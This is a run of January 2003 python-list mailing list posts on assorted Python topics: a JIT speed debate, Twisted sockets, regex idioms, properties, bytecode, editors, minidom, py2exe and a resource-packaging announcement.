Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <3E2058FA.F676DCFC@engcorp.com> <SrZT9.121191$Hs2.11493220@kent.svc.tds.net> <mailman.1042312221.11913.python-list@python.org>
Message-ID: <e10U9.122577$Hs2.11513225@kent.svc.tds.net>

"holger krekel" <pyth at devel.trillke.net> wrote in message
news:mailman.1042312221.11913.python-list at python.org...
> Edward K. Ream wrote:
> > > I'm inclined to withhold judgment on such claims, admitting the
> > > possibility that I don't know everything.
> >
> > A better rule of thumb, IMO, is that extraordinary claims require
> > extraordinary justification.
>
> We probably should have said 'hope to' instead of
> 'are confident' regarding speed prospects.
>
> Edward, i appreciate your scepticism as it reminds me
> that we are mostly doing this because we want to have fun
> while trying it.  Raising too many expectations can be
> dangerous.  Now, rumor has it that Armin Rigo will
> also do it as part of his new job and he is (still :-)
> confident so hopefully, 'eventually' this will work out.

Thanks very much for this clarification.  Fun is one of the most powerful,
creative and useful emotions there is.  I think it is one of the very best
reasons for doing any project :-)

Perhaps I wasn't clear enough myself in my original posting.  My attitude at
present is a mixture of a) extreme interest and b) moderate skepticism.
Given the potential payoffs, this is a project that ought to be pursued.

Let us suppose for the moment that it is indeed possible to improve the
speed of the C interpreter using some kind of GIT applied to Python code.
Obviously, this would be extremely important to all Python programmers.
Moreover, such a strategy might be important in the larger world.  For
instance, it might suggest new kinds of hardware design: maybe novel caching
techniques or new machine architectures oriented towards higher-level
languages.  Such ideas were tossed around decades ago; perhaps their time
has come again.  Certainly compiler vendors would be very interested as
well.

These implications might be interpreted more pessimistically.  Designers of
hardware, gits and compilers have put a lot of time, thought and money into
their work; perhaps the fact that run-time optimizations have not yet been
spectacularly successful is some clue that they can't be made so.  OTOH,
perhaps Armin is on to something that will revolutionize many parts of the
computing world.

But these are all speculations.  The intent of my original posting was to
get as much information as possible about _how_ and _why_ this project can
speed up Python's interpreter.  I focused on my doubts because they point to
the kinds of questions I would like to see answered.  To repeat: I eagerly
await a more detailed presentation of the technical details.  Some things
I'd like to see in the presentation:

- a detailed overview of the design of the GIT
- a detailed overview of the actual code of the GIT
- detailed examples of how to speed up the interpreter, with real code
examples
- as many real-world statistics as possible
- a discussion of the limitations of the technique, if any
- anything else that would help us understand how and why the optimizations
are effective.

And as long as I am asking, I would like to see a real technical paper, not
just PowerPoint slides.  Thanks again, Holger, for your good humored answer.

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edream at tds.net
Leo: Literate Editor with Outlines
Leo: http://personalpages.tds.net/~edream/front.html
--------------------------------------------------------------------





From exarkun at intarweb.us  Thu Jan 30 13:13:45 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Thu, 30 Jan 2003 13:13:45 -0500
Subject: OO design and multiple local sockets
In-Reply-To: <36060000.1043933309@localhost.localdomain>
References: <26200000.1043930172@localhost.localdomain> <20030130132335.GA13850@frobozz.local> <36060000.1043933309@localhost.localdomain>
Message-ID: <20030130181345.GA2660@meson.dyndns.org>

On Fri, Jan 31, 2003 at 02:28:29AM +1300, Andrew McGregor wrote:
> 
> 
> --On Friday, January 31, 2003 00:23:35 +1100 Andrew Bennetts 
> <andrew-pythonlist at puzzling.org> wrote:
> 
> >On Fri, Jan 31, 2003 at 01:36:12AM +1300, Andrew McGregor wrote:
> >>I've got an awful case of writer's block on this one :-(
> >>
> >>Problem:  I'm writing an app (an implementation of HIP, see
> >>www.hip4inter.net) that uses raw sockets in a big way.  It needs to bind
> >>local sockets to each IP address on the system so it can transmit
> >>packets  with each source address.  It also needs to know which address
> >>packets were  received on, and from where.  So far, so good.  It's
> >>threaded (pretty much  necessarily).  There are two pools of sockets for
> >>two different protocols  that have to interact.
> >>
> >>Just the code for the protocol transforms and state machines is about 7k
> >>lines, including tests, and works, but with only a single unbound local
> >>socket, so some features I can't do yet.
> >>
> >>What I can't figure out is what a clean OO design for the socket
> >>handling  looks like, managing the various queues and worker threads
> >>without getting  really hairy.  Can anyone help?
> >
> >For OO design inspiration for socket programming, I suggest looking at
> >Twisted <http://twistedmatrix.com/> -- although admittedly it is rather
> >different to your design (being single-threaded asynchronous rather than
> >multi-threaded).  In particular its Factory and Protocol classes may be of
> >interest.
> >
> >In fact, I'd really tempted to use Twisted for this -- have you looked at
> >it?  I've found it excels for writing servers that involve multiple
> >protocols.
> >
> >(Not that being a developer of Twisted makes me biased or anything...)
> 
> It looks interesting, and I'd be perfectly happy to use the event model, 
> especially since the HIP specs are more-or-less written that way.
> 
> However, I can't see how to convince Twisted to use a raw socket.  

  Raw sockets are a transport type that aren't *directly* supported by
Twisted, but Twisted does nothing to prevent you from using them.  If you
get a CVS checkout, you'll have a sandbox/ directory.  Inside it, ipv6.py is
an example of adding a new transport (and all the associated features).  You
should be able to use this as a template for raw socket support.

> The second issue, less serious, is that some operations in the protocol
> can take several seconds of CPU time, which should ideally be done in the
> background wrt the fast actions of other connections; these can usually be
> done in a few milliseconds.  Mind you, threads don't solve that entirely
> either, because the GIL gets in the way.

  If it makes sense, you might be able to break these long operations up
into discrete parts that are each short enough to not hamper the network
operations.  Twisted provides an abstraction for this sort of thing,
Deferreds, to make it a bit easier.

  If they can't be easily broken up, threading might still be the solution. 
Twisted makes it easy to toss one function off into a thread and schedule
its return value to be delivered back to some function in the main thread.

  Jp

-- 
There are 10 kinds of people: those who understand binary and those who do
not.
-- 
 up 45 days, 21:49, 5 users, load average: 0.00, 0.00, 0.00
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030130/ece92310/attachment.sig>

From gbrunet at nospamsempersoft.com  Tue Jan 21 22:07:37 2003
From: gbrunet at nospamsempersoft.com (Greg Brunet)
Date: Tue, 21 Jan 2003 21:07:37 -0600
Subject: Python use growing or shrinking
References: <v2rhpd4d6p8f79@corp.supernews.com> <3E2DFCFD.ECDE42AC@alcyone.com>
Message-ID: <v2s2o8glklp3f@corp.supernews.com>

"Erik Max Francis" <max at alcyone.com> wrote in message
news:3E2DFCFD.ECDE42AC at alcyone.com...
> As a secondary thought (I'm replying again to the same post, my
> apologies), upon glancing at the site again, I would say that there is
> some serious question of upfront bias in the presentation; I just
> noticed the subtitle to the page is
>
> C# still on track to become number 1 within 2 years time

The Salon article mentions that they are a tool vendor, and it looks
like they've got at least on Java tool.  Given that & the C# / Java
fight for mindshare, I would expect them to be biased toward those 2
tools.  It's interesting that they show Perl at #4 and growing
(slightly).  Especially when I look at something like VB which is
mentioned locally 45 jobs vs. 12 jobs for Perl.  I can imagine that the
growth rate for C# might be very high right now, though I don't think
that it would be too valid to project it's future growth rate based on
that.

--
Greg






From gerrit at nl.linux.org  Wed Jan 15 16:05:32 2003
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Wed, 15 Jan 2003 22:05:32 +0100
Subject: threads / dictionaries
In-Reply-To: <8db020b9.0301151221.ea53532@posting.google.com>
References: <8db020b9.0301151221.ea53532@posting.google.com>
Message-ID: <20030115210532.GA3878@nl.linux.org>

.d.hos schreef op woensdag 15 januari om 21:26:36 +0000:
> can i dynamically name each dictionary for each thread? I've tried
> using the thread id as the dictionary name - but to no avail...(could
> be my coding)

You can create a class and initialize is seperately for each thread,
e.g. (untested):

class A(threads.Thread):
	def __init__(self):
		threads.Thread.__init__(self)
		self.d = {}
	
	def doSomething(self):
		self.d["lesson"] = "Italian Lesson"

yours,
Gerrit.

-- 
Asperger Syndroom - een persoonlijke benadering:
	http://people.nl.linux.org/~gerrit/
Het zijn tijden om je zelf met politiek te bemoeien:
	http://www.sp.nl/




From cnetzer at mail.arc.nasa.gov  Thu Jan 23 20:02:10 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Thu, 23 Jan 2003 17:02:10 -0800
Subject: How to do this in Python...
In-Reply-To: <LNBBLJKPBEHFEDALKOLCMEAODKAB.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCMEAODKAB.tim.one@comcast.net>
Message-ID: <200301240102.RAA17993@mail.arc.nasa.gov>

On Thursday 23 January 2003 16:27, Tim Peters wrote:

> > Can a match object ever test as false?
>
> Nope, and
>
>     if match:
>
> is idiomatic in this context.

Fair enough. :)

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer





From martin at v.loewis.de  Sun Jan 19 12:50:34 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 19 Jan 2003 18:50:34 +0100
Subject: Overloading methods in C API
References: <2ufi2vkrpg6rikt5sv0tf5f8klfruerqlg@4ax.com> <m33cnq4qqr.fsf@mira.informatik.hu-berlin.de> <bsoi2v4rokh97unbdnfa9pndd8cctjd6ru@4ax.com> <slrnb2itok.8di.grante@localhost.localdomain> <Xns9307CD595EDCBrcamesz@amesz.demon.nl> <slrnb2jcl0.8mr.grante@localhost.localdomain> <og8k2vcu9ro7alrotei17tnm7umvmnou8f@4ax.com> <x71y393zhu.fsf@guru.mired.org>
Message-ID: <m365sl6nbp.fsf@mira.informatik.hu-berlin.de>

Mike Meyer <mwm at mired.org> writes:

> > On 18 Jan 2003 19:56:24 GMT, Grant Edwards <grante at visi.com> wrote:
> > Otherwise, I have a tough time thinking of a language
> > that doesn't have operator "overloading"...
> 
> BCPL, maybe. The only type it had was integer. 

By the same line of argument: Tcl (atleast earlier versions). It had
only a single type (string), so you can't do overloading on the type.
Furthermore, Tcl does not have operators (only commands), so there
can't be any operator overloading :-)

Of course, the expr command would support both strings that represent
floats and strings that represent integers, but it is unclear whether
this isn't just promotion instead of overloading - the result would be
a string, in any case.

Regards,
Martin



From bokr at oz.net  Wed Jan 15 20:23:22 2003
From: bokr at oz.net (Bengt Richter)
Date: 16 Jan 2003 01:23:22 GMT
Subject: Detect when a class member is updated
References: <67446a0a.0301150634.f6d0c43@posting.google.com> <JreV9.3050$YI5.839@news2.central.cox.net> <slrnb2at1n.1hk.gerhard.haering@haering.opus-gmbh.net> <67446a0a.0301151321.76ee5489@posting.google.com> <mailman.1042667530.8241.python-list@python.org>
Message-ID: <b051ia$1lv$0@216.39.172.122>

On Wed, 15 Jan 2003 16:49:48 -0500, "Mike C. Fletcher" <mcfletch at rogers.com> wrote:

>Properties are, IMO, the great unsung feature of 2.2.x that should have 
>_everyone_ move to it (the feature that everyone sings about, the 
>type-class unification, is undeniably wonderful too, but everyone 
>already sings about that).  Subclassed properties give you amazing power 
>in automating data-driven Python applications.  They can:
>
>    * interact with watchers, (update databases or GUIs on set/del, for
>      example)
>    * check data-types,
>    * perform automatic value coercian (ingoing and outgoing),
>    * linearise their own definitions (i.e. they can write themselves
>      out to disk and be reloaded later to facilitate run-time-composed
>      data-types (classes)),
>    * provide attribute documentation (and other attributes/properties)
>      to automate presentation,
>    * automate object initialisers,
>    * and provide default values/functions.
>
>(Among other uses).
>
If you look at Delphi, you might wonder when events will become
elements in the Python language too ;-)

(Which BTW, IMO is worth putting off long enough to get right ;-)

Regards,
Bengt Richter



From andy at eastonwest.co.uk  Thu Jan  9 18:07:32 2003
From: andy at eastonwest.co.uk (andy)
Date: Thu, 9 Jan 2003 23:07:32 +0000
Subject: Do pythons like sugar?
In-Reply-To: <avkeld$49$1@slb2.atl.mindspring.net>
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com> <v85r1v0qlrqdtg0iooru2l88578983cfns@4ax.com> <avkeld$49$1@slb2.atl.mindspring.net>
Message-ID: <200301092307.32197.andy@eastonwest.co.uk>

On Thursday 09 Jan 2003 6:15 pm, Andrew Dalke wrote:
> In other words "DO NOT USE IN REAL CODE - I WILL NOT BE
> HELD RESPONSIBLE IF YOU DEPLOY WITH THIS.  FOR NOVELTY
> USE ONLY."

Oooh.  

>
>  >>> class Foo:
>
> ...     eggs = 1
> ...     def doit(self):
> ...             self.spam = 5
> ...             self.tomato = 3
> ...             for x in dir(self): exec "%s = self.%s" % (x,x)
> ...             for k, v in locals().items():
> ...                     print k, "==", v
> ...             print
> ...             print "the calculation yields", tomato ** spam
> ...

Ahhh.

>  >>> Foo().doit()
>
> doit == <bound method Foo.doit of <__main__.Foo instance at 0x815a284>>
> tomato == 3
> __module__ == __main__
> spam == 5
> x == tomato
> self == <__main__.Foo instance at 0x815a284>
> eggs == 1
> __doc__ == None
>
> the calculation yields 243

I can see why one shouldn't use this... kind of 'implementation' and 'version' 
specific! 

Maybe a candidate for the next PEP... not?

Anyway, I sort of like the explicit self reference - makes things clearer in 
the long run.

-andyj




From Scott.Daniels at Acm.Org  Sun Jan  5 13:00:54 2003
From: Scott.Daniels at Acm.Org (Scott David Daniels)
Date: Sun, 05 Jan 2003 10:00:54 -0800
Subject: parameter/argument terminology
In-Reply-To: <mailman.1041771428.30746.python-list@python.org>
References: <av97vu$p93$1@main.gmane.org> <mailman.1041771428.30746.python-list@python.org>
Message-ID: <3e1872d4$1@nntp0.pdx.net>

Since we are playing regional differences:
My uses are probably techno-shorthand.  When I use such terms, I
rarely use them less than three times, and in such cases (the
multi-use cases), I tend to use:

Laura Creighton in doubles, Donnal Walter in singles:
>>    def myFunc(self, P1, P2):
>>        print P1, P2             # P1 and P2 are parameters
> or, 'formal parameters'.  But they aren't arguments.
I usually use 'formals' for 'formal parameters'.

>>        self.myFunc(X, Y)        # X and Y are arguments
> yes, but I also call them 'actual parameters', almost exclusively
> when I want to contrast them with the 'formal parameters', or 'default
> parameters' in the definition.
I use 'actuals' rather than 'actual parameters'.

Laura's 'default parameters' I've never used (nor discussed at
great length, I'll admit).  Instead I use 'default values' or
'defaults'.  These are the D's in:
     def myFunc(self, P1=D1, P2=D2):


Next player?

-Scott David Daniels
Scott.Daniels at Acm.Org




From johnroth at ameritech.net  Fri Jan 17 07:47:12 2003
From: johnroth at ameritech.net (John Roth)
Date: Fri, 17 Jan 2003 07:47:12 -0500
Subject: PEP 8: on member variables vs. attributes
References: <f57664b9.0301170041.46cc103e@posting.google.com>
Message-ID: <v2fuopd3ui6o48@news.supernews.com>

"Jonathan P." <jbperez808 at yahoo.com> wrote in message
news:f57664b9.0301170041.46cc103e at posting.google.com...
> From PEP 8:
>
> Designing for inheritance
>
>       ...  In general, never make data
>       variables public unless you're implementing essentially a
>       record.  It's almost always preferrable to give a functional
>       interface to your class instead (and some Python 2.2
>       developments will make this much nicer)...
>
> But don't properties and data variables (as attributes) look
> the same anyway?  So what's the diff between them, functionally
> speaking?  Hasn't it been decided that get/set accessor
> functions are a real hassle and that is why we see the concept
> of a property replacing that of accessor methods (Delphi's
> Object Pascal seems to have pioneered this) in newer
> languages like C# and now also in Python via descriptors?
> That would seem to contradict this particular point found in
> PEP 8.

They look the same, but they aren't the same thing at all.
Properties are simply a piece of syntactic sugar on top
of accessor functions. As such, they provide the same
information hiding benefits as accessors.

It's a nice piece of syntactic sugar, but it does not provide
anything fundamental that can't be accomplished in some
other way.

What it does provide is clarity and a level of encapsulation
that facilitates maintenance.

John Roth





From dgallion1 at yahoo.com  Wed Jan 22 20:38:10 2003
From: dgallion1 at yahoo.com (darrell)
Date: Thu, 23 Jan 2003 01:38:10 GMT
Subject: Help: More speedup needed
References: <33803989.0301220109.232a00d8@posting.google.com>
Message-ID: <6IHX9.30334$Li7.5578955@twister.nyroc.rr.com>

Use the profiler.
        import profile
Find your hot spots, then if your stuck post them as smaller examples.

--Darrell



Miki Tebeka wrote:

> Hello All,
> 
> I'm writing an M.Sc. thesis in NLP. My goal is to implement Eric Brill's
> unsupervised algorithm for Hebrew (see http://www.cs.bgu.ac.il/~tebeka)
> for more details.
> 
> However on a very small set of data my application runs very slow. I did
> my best to improve the speed (minimal data types, psyco ...) but it is
> still too slow.
> 
> If you have the time and can't find something more interesting to do, grab
> http://www.cs.bgu.ac.il/~tebeka/University/tpost.tar.bz2 and try to help
> me.
> 
> Read the HELP.ME file for more details.
> 
> TIA.
> 
> Miki




From duncan at NOSPAMrcp.co.uk  Tue Jan  7 09:47:23 2003
From: duncan at NOSPAMrcp.co.uk (Duncan Booth)
Date: Tue, 7 Jan 2003 14:47:23 +0000 (UTC)
Subject: Creating a list/tuple/dictionary
References: <3e1ae3b4$0$161$65c69314@mercury.nildram.net>
Message-ID: <Xns92FCA97D6AEC3duncanrcpcouk@127.0.0.1>

"Andrew Wilkinson" <ajw126NO at SPAMyork.ac.uk> wrote in 
news:3e1ae3b4$0$161$65c69314 at mercury.nildram.net:

> When the Python interpreter comes across a statement such as...
> 
> a = [1,2,3]
> 
> how does it go about creating that list?
> 
> Does it convert the code into something equivalent to
> a = []
> a.append(1)
> a.append(2)
> a.append(3)
> (although obviously it would call the C functions directly)
> 
> or is there a quicker method that it uses, if so is that accessible from
> ordinary python code?

The interactive interpreter is your friend:
>>> def f():
	a = [1, 2, 3]

	
>>> import dis
>>> dis.dis(f)
          0 SET_LINENO               1

          3 SET_LINENO               2
          6 LOAD_CONST               1 (1)
          9 LOAD_CONST               2 (2)
         12 LOAD_CONST               3 (3)
         15 BUILD_LIST               3
         18 STORE_FAST               0 (a)
         21 LOAD_CONST               0 (None)
         24 RETURN_VALUE        
>>> 
> 
> The same question applies to tuples and dictionaries, although I'm guess
> that the same answer will apply to all of them.
> 
Tuples use BUILD_TUPLE but are otherwise the same. Dictionaries are a bit 
messier.

The BUILD_LIST and BUILD_TUPLE bytecodes take a constant number of values 
from the stack. If you are building a list of known length then you can use 
these codes simply by writing out a list literal, otherwise you have to 
build the list up a bit at a time. There isn't any way to get a for loop to 
push values onto the stack and then use a BUILD_LIST with a variable to pop 
them all in one go.

-- 
Duncan Booth                                             duncan at rcp.co.uk
int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3"
"\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure?



From moz at skilic.com  Wed Jan  8 03:29:58 2003
From: moz at skilic.com (Serdar Kilic)
Date: Wed, 8 Jan 2003 19:29:58 +1100
Subject: Python vs .Net (
In-Reply-To: <YpxG+kKkXUzH092yn@gnosis.cx>         
Message-ID: <001201c2b6f0$22cad680$0100a8c0@bidi>

It would be quite difficult to "sue MONO" as they are building not from
Microsoft specifications but specifications from ECMA (and soon to be ISO
standards as well).

http://msdn.microsoft.com/net/ecma/
http://www.ecma.ch/ecma1/STAND/ecma-335.htm (Common Language Infrastructure)
http://www.ecma.ch/ecma1/STAND/ecma-334.htm (C# Language)

--
Kind Regards,
 Serdar K. | http://www.kilic.net/

>-----Original Message-----
>From: python-list-admin at python.org 
>[mailto:python-list-admin at python.org] On Behalf Of Lulu of the 
>Lotus-Eaters
>Sent: Wednesday, 8 January 2003 5:20 AM
>To: Pythonistas
>Subject: Re: Python vs .Net (
>
>
>"Etienne Charland" <mystery at golden.net> wrote previously:
>|Some work is done to make .NET cross-platform: MONO www.go-mono.com
>
>I do hope everyone knows that it is not a question of IF, but 
>WHEN, Microsoft will decide to sue MONO out of existence.
>
>The whole thing smells of usual MS dirty tricks... they have 
>released just enough of API details to allow Ximian to waste 
>time on implementing MONO.  But MS has kept many parts of the 
>API as trade-secrets, and has wrapped much of the documented 
>API in patents.
>
>MS's goal here is to maintain an official face that ".NET" is 
>cross-platform and open.  But as soon as MONO has any success 
>at all, MS
>*will* pour millions of dollars into lawyers to claim patent 
>violations in MONO (and maybe trademark, copyright, 
>trade-secret) issues.  Those lawyers *will* get restraining 
>orders against the distribution of MONO, effectively killing 
>the project.  Of course semi-underground copies of MONO will 
>still exist, but not any effective development project; and if 
>Ximian isn't outright bankrupted, they might eventually win in 
>court, many years after the APIs have gone somewhere else altogether.
>
>Yours, Lulu (a soothsayer)...
>
>--
>mertz@  | The specter of free information is haunting the 
>`Net!  All the gnosis  | powers of IP- and crypto-tyranny have 
>entered into an unholy
>.cx     | alliance...ideas have nothing to lose but their 
>chains.  Unite
>        | against "intellectual property" and anti-privacy regimes!
>---------------------------------------------------------------
>----------
>
>
>-- 
>http://mail.python.org/mailman/listinfo/python-list
>





From phr-n2003b at NOSPAMnightsong.com  Thu Jan 23 18:09:21 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 23 Jan 2003 15:09:21 -0800
Subject: How to do this in Python...
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com>
Message-ID: <7xadhrh3a6.fsf@ruckus.brouhaha.com>

"Michael Tiller" <mtiller at ford.com> writes:
> match = re.match(pattern, string)
> if match:
>   // do something with match object
> 
> -or-
> 
> if re.match(pattern, string):
>     match = re.match(pattern, string)
> 
> The first one seems unnecessarily verbose and the second one is inefficient.
> Are there any other options?

Tim Peters suggested one a few days ago:

   if [match for match in [re.match(pattern,string)]][0]:
        # do something with match object



From clifford.wells at attbi.com  Thu Jan  9 21:09:42 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 09 Jan 2003 18:09:42 -0800
Subject: Explicit Frustration of the Self
In-Reply-To: <a1d2c9b4.0301091551.49ab0495@posting.google.com>
References: <mailman.1041871714.8387.python-list@python.org>
	 <a1d2c9b4.0301091551.49ab0495@posting.google.com>
Message-ID: <1042164582.3565.281.camel@x1-6-00-04-5a-64-c4-03>

On Thu, 2003-01-09 at 15:51, DeadWisdom wrote:
> > 
> > OK - officially a troll.
> > 
> > Tim Delaney
> 
> Oh hey hey, sorry.  Jeesh, I was just trying to push some ideas out. 
> Criticize my ideas not me.  I'm actually quite amazed by the respect
> for the explicit self, so I'm listening quite much to what people are
> saying.  I hope I didn't ruin your day.

Probably not Tim's, but it wouldn't surprise me to learn that you ruined
Laura Creighton's.  I once accidentally ruined her life and didn't even
know her at the time I did it.  

-- 
Cliff Wells <clifford.wells at attbi.com>





From logiplexsoftware at earthlink.net  Tue Jan 21 01:14:01 2003
From: logiplexsoftware at earthlink.net (Cliff Wells)
Date: 20 Jan 2003 22:14:01 -0800
Subject: Where do you store data files?
In-Reply-To: <200301210455.h0L4t8jL009937@ratthing-b246.strakt.com>
References: <bdb5b58f.0301201653.3a9166d4@posting.google.com>
	 <1043112157.32094.381.camel@software1.logiplex.internal>
	 <200301210455.h0L4t8jL009937@ratthing-b246.strakt.com>
Message-ID: <1043129641.4926.14.camel@x1-6-00-04-5a-64-c4-03>

On Mon, 2003-01-20 at 20:55, Laura Creighton wrote:
> Cliff Wells:
> > Can't speak for the Win32 crowd, but on Linux the best places would be
> > either /tmp (although this can open security risks) or somewhere in the
> > user's home directory.  A lot of apps will use a hidden "dot" file or
> > directory, e.g. ~/.appname/cache
> 
> Warning: If your users have to pay for disk storage, and you hide huge
> log files in hidden .files or .directories, when the bill comes due
> they may be quite unhappy.

All my users are unhappy.  If they were happy they wouldn't need me.


-- 
Cliff Wells <logiplexsoftware at earthlink.net>





From peter at engcorp.com  Fri Jan  3 09:10:39 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 03 Jan 2003 09:10:39 -0500
Subject: Best Python editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <6lea1vop870pak8iuohinerilg304sd493@4ax.com> <slrnb19vmq.h00.grey@teleute.dmiyu.org> <m3isx76i7j.fsf@wilma.local>
Message-ID: <3E1599DF.F870DF68@engcorp.com>

Harry George wrote:
> 
> Let's stay on topic, which is editing for python.
> 
> I've trained up a dozen or so newbies on python over the last few
> years.  I always offer them the option of their favorite editor.  We
> get some vim, emacs, nedit, notepad, idle, jot, and others I can't
> remember.  But when it gets serious, as in XP sessions (two people on
> one keyboard), the emacs guys are far more productive.  As far as I
> can tell, the vim guys are faster keystroke-by-keystroke, but the
> emacs guys are more productive overall.  The notepad guys weren't
> productive enough to be a fair sampling of the editor itself (they
> weren't really programmers).  I haven't seen enough experienced idle
> or scintilla people to have an opinion there.

To avoid interpreting your comments as pure mysticism, I would need
to know specifically what features you find to be "far more 
productive" with emacs.

I've found that I'm much more productive with almost any editor than
some other programmers, whether they use vim, emacs, or Codewright.
Those using emacs do tend to be pretty fast, but so far I can conclude
only that they are "hacker types" who feel comfortable in a text-mode
environment like Linux and who type pretty fast.  Even so, they're
no faster than I am (typing 70+ words per minute).

On the other hand, moving from a trivial editor like Notepad in Windows,
to something with proper automatic indentation gives me a huge increase
in productivity, especially with Python.

Next biggest increase in productivity comes from syntax highlighting,
and the fact that it emphasizes many types of error immediately.

Beyond that, I could point to a small handful of producivity-enhancers,
such as automatic save on loss of focus, and multi-file editing,
but *none* of these are implemented only in emacs.

So what is it?  I really can't believe (yet) that a different set 
of keyboard bindings and a macro language I wouldn't use on a regular
basis would lead to a really measurable performance increase. 
(And let me say that a 10% boost is not measurable, while a 50% one
might be.)

Looking forward to gaining a little enlightenment about emacs, which
I've avoided studiously since it was created.

(For the record, I'm currently using Scite a fair bit, and with Python
code find it highly effective.  I wish it would auto-save *all* changed
files instead of just the selected one, but other than that I don't
know what else I would bother adding.)

-Peter



From micke at strakt.com  Mon Jan 13 17:38:06 2003
From: micke at strakt.com (=?iso-8859-15?Q?Mikael_Sch=F6nenberg?=)
Date: Mon, 13 Jan 2003 23:38:06 +0100 (CET)
Subject: Extracting int from string
In-Reply-To: <avvd1l$ee7$1@news.efn.org>
Message-ID: <Pine.LNX.4.44.0301132333580.20349-100000@ratthing-b3cd.strakt.com>

On 13 Jan 2003, Spencer Ernest Doidge wrote:

> What would be the best way to extract the integer value 45 from the following string?
>
> 'X=   45   A'

Depending on exactly what the general format of the string is, this might
be what you want:

>>> int(''.join([c for c in 'X=   45   A' if c in '0123456789']))
45

Or, possibly less obscure (untested though):

startStr = 'X=   45   A'
intsInStr = []
for c in startStr:
  if c in '0123456789':
    intsInStr.append(c)
intStr = ''.join(intsInStr)
finalInt = int(intStr)
print finalInt
^^^^^^^^^^^^^^
Should hopefully result in 45 :)

Untested, and... ehrm... with room for optimisation ;)

/micke





From peter at engcorp.com  Wed Jan 29 10:34:13 2003
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 29 Jan 2003 10:34:13 -0500
Subject: minidom question from a newbie
References: <3e37e374.774668625@news.skynet.be>
Message-ID: <3E37F475.14D9BB80@engcorp.com>

henk.derudder at nowayyouneedthis.sciatl.com wrote:
> 
> I am using minidom from xml.dom. There is a nice method in there:
> root = minidom.parse(filename)
> which gives me a nice tree of all XML-elements which are in the file
> filename. Is there a possibility to go the other way around, i.e. to
> have  such a tree structure and save it into an XML-file. If yes, are
> there snippets/sample code out there.

# assuming a DOM object in variable "dom"
f = open('test.xml', 'w')
dom.writexml(f)
f.close()

-Peter



From hellprout at yahoo.com  Tue Jan  7 11:30:31 2003
From: hellprout at yahoo.com (hellprout)
Date: 7 Jan 2003 08:30:31 -0800
Subject: pyqt -> exe with py2exe and installer5b4
Message-ID: <5b8834c2.0301070830.4d7021e7@posting.google.com>

hi , i just want to create a exe file for a windows utilisation 
my program use qt library with pyqt 
i try to create my file with py2exe 
"python setup.py py2exe "

the creation is ok , but when i wanted to use the exe file , didn't
work

i don't know why ...

i try to use installer5b4 but it's the same , ok for the creation but
i didn't see the frame , and the processus stop immediately after
double click

somebody have an idea ????

thanks a lot 

hellprout



From mwh at python.net  Tue Jan 14 11:54:52 2003
From: mwh at python.net (Michael Hudson)
Date: Tue, 14 Jan 2003 16:54:52 GMT
Subject: how to submit a patch?
References: <3e160e11$0$229$a1866201@newsreader.visi.com> <slrnb1c3u0.3kp.gerhard.haering@lilith.my-fqdn.de> <3e1616fc$0$174$a1866201@newsreader.visi.com> <slrnb1c5vc.3rq.gerhard.haering@lilith.my-fqdn.de> <7h38yxnsta7.fsf@pc150.maths.bris.ac.uk> <slrnb288n5.1ds.gerhard.haering@haering.opus-gmbh.net>
Message-ID: <7h3vg0rr7r2.fsf@pc150.maths.bris.ac.uk>

Gerhard H?ring <gerhard.haering at opus-gmbh.net> writes:

> Michael Hudson <mwh at python.net> wrote:
> > Even if you do, at the moment you can't seem to attach a file to a
> > patch when you create it.  You have to go back after it's created and
> > attach it.  I don't know why, either.
> 
> It's a feature: SF wants to increase the motivation to move these things
> off Sourceforge to a Roundup-based bugtracker <0.5 wink>

This is 150% fine with me!  Though it would have been even finer it it
had happened before 2.2.1 <growl>.

> There once was talk about this on python-dev, but it seems to have stalled
> somehow.

It's nudging along as tuits permit, AFAICT.

Cheers,
M.

-- 
  In case you're not a computer person, I should probably point out
  that "Real Soon Now" is a technical term meaning "sometime before
  the heat-death of the universe, maybe".
                                     -- Scott Fahlman <sef at cs.cmu.edu>



From mcfletch at rogers.com  Mon Jan 13 11:45:24 2003
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Mon, 13 Jan 2003 11:45:24 -0500
Subject: ResourcePackage 1.0.0a2 available...
Message-ID: <3E22ED24.1090709@rogers.com>

ResourcePackage is a mechanism for automatically managing resources 
(i.e. non-Python files: small images, documentation files, binary data) 
embedded in Python modules (as Python source code), particularly for 
those wishing to create re-usable Python packages which require their 
own resource-sets.

ResourcePackage allows you to set up resource-specific sub-packages 
within your package.  It creates a Python module for each resource 
placed in the resource package's directory during development.  You can 
set up these packages with a simple file-copy and then use the resources 
saved/updated in the package directory like so:

    from mypackage.resources import open_icon
    result = myStringLoadingFunction( open_icon.data )

ResourcePackage scans the package-directory on import to refresh module 
contents, so simply saving an updated version of the file will make it 
available the next time your application is run.

When you are ready to distribute your package, you need only replace the 
copied file with a dummy __init__.py to disable the scanning support and 
eliminate all dependencies on resourcepackage (that is, your users do 
not need to have resourcepackage installed once this is done).  Users of 
your packages do not need to do anything special when creating their 
applications to give you access to your resources, as they are simply 
Python packages/modules included in your package's hierarchy.  Your 
package's code (other than the mentioned __init__.py) doesn't change.

Note: there is code in resource package to allow you to manually refresh 
your package directories w/out copying in __init__.py.  I haven't yet 
